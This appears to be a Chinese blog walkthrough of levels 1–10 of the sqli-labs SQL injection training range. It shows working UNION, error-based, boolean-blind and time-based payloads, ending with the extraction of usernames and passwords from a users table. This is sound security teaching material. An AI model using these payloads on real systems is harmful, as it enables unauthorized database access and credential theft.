sql-libs靶场(1-10)

上篇文章我们介绍了SQL注入的基础知识,为了更好掌握SQL注入的基础知识,我将通过sqli-libs靶场来提升这方面知识的熟练度下面是对1-22关基础关的通关过程。(需要注意的在本篇文章里,我只够建了较为基础的Payload,例如查看数据库名字、版本号等,具体和复杂的Payload可以参考SQL 注入基础

1. Less-1

1

  1. 可以看到初始页面这里提示我我们输入数字值的ID作为参数,所以我们输入?id=1?id=1以此类推。

2

3

  • 可以注意到不同的参数1,2会所返回的内容也不同,由此可以判断我们输入的参数是带如到数据库里面查询的。
  1. 接下来我们需要判断SQL语句是字符型还是数字型,因为它关系到之后我们所构建的Payload是否正确(数字型是不需要闭合的)。
  • 数字型注入的参数在SQL语句中直接被当作数字使用,通常没有单引号包裹

  • 字符型注入的参数在SQL语句中被单引号(有时是双引号)包裹。

这里我们使用注释符号--+注释掉后面的引号。

4

  • 可以看到页面仍然是正常的没有报错,所以我已确定是字符型注入。
  1. 根据上面的实验可以发现页面时有回显的,所以我们优先考虑联合注入。
  • 根据上篇文章中介绍的联合查询的步骤来,首先我们需要判断列数:
1
?id=1' ORDER BY n(n = 1, 2, 3, 4......)--+
  • 结果判断之后我们可以发现在n=3时页面显示正常但是在n=4时页面出现了报错。

5

6

  • 所以我们可以发现列数一共时4,那么接下来就要使用UNION SELECT来判断回显位。

    1
    ?id=-1' UNION SELECT 1,2,3--+

7

  • 由此我们可以得到第二位和第三位都是回显位,接下来就简单了,我们可以直接开始获取数据库数据了,例如我们这里查看数据库的基本信息:

    1
    ?id=-1' UNION SELECT 1,database(),version()--+

8

2. Less-2

  • 和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,而且当我们分别输入?id=1 AND 1=1 --+?id=1 AND 1=2 --+时前者没有报错,而后者返回为空,所以我们可以确定为数字型。那接下来的步骤和我们第一关是差不多的:

    1
    1. ?id=1 ORDER BY n(n = 1, 2, 3, 4......)--+
    1
    2. ?id=-1 UNION SELECT 1,2,3--+
    1
    3. ?id=-1 UNION SELECT 1,database(),version()--+

9

10

3. Less-3

  • 这里我们依旧尝试?id=1'

11

  • 可以发现报错中出现了括号,这是一个细节,我们可以由此推断出在语句中可能存在WHERE id = ()这样带有括号的语法,所以当我们输入?id=1'时,语句可能就变成了WHERE id = (''')从而报错,那么我们不妨尝试将前面的括号也闭合掉:

    1
    ?id=1') --+

12

  • 可以看到这里页面显示正常,那么之后的步骤就简单了,与前两关的步骤类似,我们可以直接通过联合查询爆出数据库信息。

    1
    1. ?id=1') ORDER BY n(n = 1, 2, 3, 4......)--+
    1
    2. ?id=-1') UNION SELECT 1,2,3--+
    1
    3. ?id=-1') UNION SELECT 1,database(),version()--+

4. Less-4

  • 在我们起初尝试的时候,可以发现我们这次输入?id=1'的时候页面并没有报错,很有可能对我们用户输入进行了过滤,那我们首先能想到的就是用双引号来替代了。

13

  • 可以看到使用双引号果然可以,且可以看到这里的报错信息又出现了括号,那么这样就和上一关一模一样了,只需要把单引号换成双引号即可。

    1
    ?id=-1") UNION SELECT 1,database(),version()--+

5. Less-5

  • 来到第五关我们发现在输入ID=1之后页面并没有显示别的东西,也就是说页面并没有回显,这个时候联合注入就没有用了。

14

  • 但是我们可以发现当输入?id=1'时页面依旧有报错,那么我们不妨尝试一下报错注入。

    1
    ?id=-1' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--+

15

  • 不出所料的,我们依旧拿到了数据库的信息。

6. Less-6

  • 在第六关中我们可以发现在输入?id=1之后页面也是没有回显,输入?id=1'之后页面也并没有报错,可以猜测是否'存在被过滤的可能,所以我们尝试?id=1",可以发现页面出现了报错信息。

16

  • 那接下来的步骤就和第五关类似了,我们可以直接通过报错注入来查看数据库的信息。(由于在第五关已经使用了updatexml()函数,所以这里我们可以换成extractvalue()函数试试。)

    1
    ?id=-1" AND extractvalue(1, (concat(0x7e, (SELECT database()), 0x7e))) --+

17

7. Less-7

  • 来到第七关我们可以发现,在进行简单的测试之后,无论我们尝试?id=1,或者?id=1'页面要么是没有回显,有么就是或报错但无具体内容,这导致我们无法通过联合注入和报错注入来解决问题,所以我们可以试试布尔盲注。

  • 首先我们还是先找到这一关的闭合方式,然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。

  • 接下来我们就根据布尔盲注来获取数据库信息。

    1
    ?id=1')) AND length(database()) = 8 --+
  • 布尔盲注像相较于前面两种方式,它获取信息的方法没有那么直接,通过我们不断改变数据库长度length(database()) = 8知道页面不再报错为止,接下来我们就可以慢慢通过ascii()substr()函数来获取数据库具体的名字。

19

18

8. Less-8

  • 第八关和上一关类似,在输入?id=1时页面依然显示正常,但是在尝试?id=1'时页面返回为空,但是如果输入?id=1' --+页面有返回正常,所以可以确定是由单引号闭合,那这样剩下的就和上一关一样了。

    1
    ?id=1' AND length(database()) = 9 --+
    • 页面返回为空。
    1
    ?id=1' AND length(database()) = 8 --+
    • 页面返回正常。

9. Less-9

  • 第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
  1. 判断参数构造

    1
    ?id=1' and if(1=1,sleep(5),1)--+
  2. 判断数据库名长度

    1
    ?id=1'and if(length((select database()))>9,sleep(5),1)--+
  3. 逐一判断数据库字符

    1
    ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
  4. 判断所有表名长度

    1
    ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
  5. 逐一判断表名

    1
    ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
  6. 判断所有字段名的长度

    1
    ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
  7. 判断所有字段名的长度

    1
    ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
  8. 逐一判断字段名

    1
    ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
  9. 判断字段内容长度

    1
    ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
  10. 逐一检测内容

    1
    ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

10. Less-10

  • 第十关和第九关一样只需要将单引号换成双引号。